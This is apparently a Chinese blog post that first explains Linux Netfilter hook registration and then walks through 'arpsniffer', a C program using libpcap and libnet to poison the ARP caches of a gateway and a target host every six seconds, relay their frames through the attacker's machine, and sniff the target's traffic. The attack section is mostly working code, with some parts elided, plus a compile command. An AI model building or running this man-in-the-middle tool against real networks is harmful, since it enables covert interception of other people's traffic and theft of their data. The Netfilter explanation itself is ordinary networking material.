NetWork-netfilter

在应用层抓包用raw   socket,就是fd   =   socket(PF_PACKET,   SOCK_RAW,   htons(ETH_P_ALL));  
实际中常见的iptables是在ip协议栈上实现的,也就是Netfilter
还有ebtables,它的数据截获点比iptables 更“靠前”,它获得的数据更“原始”,ebtables多用于桥模式,比如控制 VLAN ID等
还有arptables,类似于iptables,iptables工作于ip层,用于对ip包进行管理,arptables工作与arp协议层,用于对arp数据帧进行管理

Netfilter
Netfilter在IP协议栈中有一些调用入口,包括,流入,流出,转发之类的地方,通过注册Netfilter模块可以将你需要的函数挂接到这些入口,就可以截取网络数据了 

          nfho.hook           =   hook_func; 
          nfho.hooknum     =   NF_IP_PRE_ROUTING; 
          nfho.pf               =   PF_INET; 
          nfho.priority   =   NF_IP_PRI_FIRST; 
第一行就是hook函数,
第二行设定挂接位置,包括: 
  NF_IP_PRE_ROUTING,在报文作路由以前执行 
  NF_IP_FORWARD,在报文转向另一个NIC以前执行; 
  NF_IP_POST_ROUTING,在报文流出以前执行; 
  NF_IP_LOCAL_IN,在流入本地的报文作路由以后执行; 
  NF_IP_LOCAL_OUT,在本地报文做流出路由前执行。 
然后第三行第四行就是协议类型和优先级了 
然后通过nf_register_hook函数将其挂入Netfilter框架中就可以了 
整个是一个linux的模块,所以需要init_module()之类的模块函数  


arpsniffer
先要安装下面两个库,这两个库用途是
Libpcap提供了系统独立的用户级别网络数据包捕获接口;Tcpdump就是依赖这个库来实现包的抓取
Libnet提供了一个对底层网络数据包进行构造、修改和发送的高级接口,arpsniffer就是利用这个库函数自行组包


初始化操作
pcap_lookupnet()得到要抓取的网络设备的字符串
pcap_open_live()被用来得到一个包抓取得描述符lpcap,PROMISC参数就是设置为混杂模式
libnet_init()得到一个组包的描述符lnet,LIBNET_LINK是基于link_layer的链路层数据包,还可以选择基于IP层的raw数据包


    char        dev[32]="";
    libnet_t*    lnet;
    pcap_t*     lpcap;
......   
    ret = pcap_lookupnet(dev,&netp,&maskp,err);
    if(ret == -1)
    {
        printf("Can't initialize PCAP![%s]\n",err);
        return FALSE;
    }
    lpcap = pcap_open_live(
        dev,
        MAXBUF,
        PROMISC,
        PCAP_TOUT,
        err
    );
    lnet = libnet_init(
        LIBNET_LINK,
        dev,
        err);
......

用ipmacaddr结构来记录网关,本机及目标机的MAC和IP,并利用Libpcap库函数得到相应的值
W是网关 M是本机 S是目标

/*
 * W , S , M 's ip and mac address
 */
struct ipmacaddr
{
    u_char ipW[4];
    u_char macW[6];
    u_char ipS[4];
    u_char macS[6];
    u_char ipM[4];
    u_char macM[6];
};


欺骗网关
有了MAC和IP后,子进程每6S,网关的IP+本机MAC发ARP到目标机,目标机IP+本机MAC发ARP到网关
父进程处理源是网关MAC和目标机MAC的,且目的MAC是本机的包
网关到本机包,修改为本机到目标机;目标机到本机包,修改为本机到网关

正常情况下:
目标机包到网关,之后经过NAT就出去了
现在:
目标机包的目的MAC为本机MAC,代码中处理为本机MAC为发,目的MAC为网关MAC
网关包的目的MAC为本机MAC,代码中处理为本机MAC为发,目的MAC为目标机MAC
本机就相当于做了一个桥一样,目标机的包不管是收发都经过了本机,这样可以在本机上抓到目标机的所有包了

......
    pid = fork();
    if(pid==0)
    {
        arpspoof(lnet,&ipmac);
        return FALSE;
    }else
    {
        agentpacket(lnet,lpcap,&ipmac,port);
    }

......
/*Send spoof arp S And W every 6 second interval*/
void arpspoof(libnet_t* lnet,struct ipmacaddr* ipmac)
{
    while(TRUE)
    {
        arpsend(lnet,ipmac->macM,ipmac->ipS,ipmac->macW,ipmac->ipW);
        arpsend(lnet,ipmac->macM,ipmac->ipW,ipmac->macS,ipmac->ipS);
        sleep(6);
    }
}
......
/*Forward packets W--->S or S--->W*/
int forwarddate(libnet_t* lnet,const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM)
{
    int ret=0;
    const u_char* datapoint=packet;
    struct ether_header* ethhdr;
    struct iphead*       iph;

    ethhdr = (struct ether_header*) datapoint;

    if(ntohs(ethhdr->ether_type)!=ETHERTYPE_IP)
        return TRUE;
    if(!memcmp(ethhdr->ether_shost,macM,6)) /*if the Source Mac is agent(M)'s come back*/
        return TRUE;
    if(memcmp(ethhdr->ether_dhost,macM,6)) /*if the Source Mac Destination is't agent(M)'s come back*/
        return TRUE;
    if(!memcmp(ethhdr->ether_shost,macW,6)) /*if the Source Mac is W's(Workstation)*/
    {
        memcpy(ethhdr->ether_shost,macM,6);
        memcpy(ethhdr->ether_dhost,macS,6);
        ret = libnet_write_link(
            lnet,
            (u_char*)datapoint,
            len
        );
    }
    if(!memcmp(ethhdr->ether_shost,macS,6)) /*if the Source Mac is S S's(server)*/
    {
        memcpy(ethhdr->ether_shost,macM,6);
        memcpy(ethhdr->ether_dhost,macW,6);
        ret = libnet_write_link(
            lnet,
            (u_char*)datapoint,
            len
        );
    }

    return TRUE;
}
......
/*Sniffer packets*/
int agentpacket(libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac,int* port)
{
    const u_char* packet;
    struct pcap_pkthdr hdr;
    while(1)
    {
        packet=pcap_next(lpcap,&hdr);
        if(packet==NULL || hdr.len==0)
            continue;
        parsedate(packet,hdr.len,ipmac->macW,ipmac->macS,ipmac->macM,ipmac->ipW,ipmac->ipS,port);
        forwarddate(lnet,packet,hdr.len,ipmac->macW,ipmac->macS,ipmac->macM);
    }

    return TRUE;
}
......

 

小结
gcc -o arpsniffer arpsniffer.c -I/usr/local/include -L/usr/local/lib -lpcap -lnet
libnet函数调用需要在root下运行

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值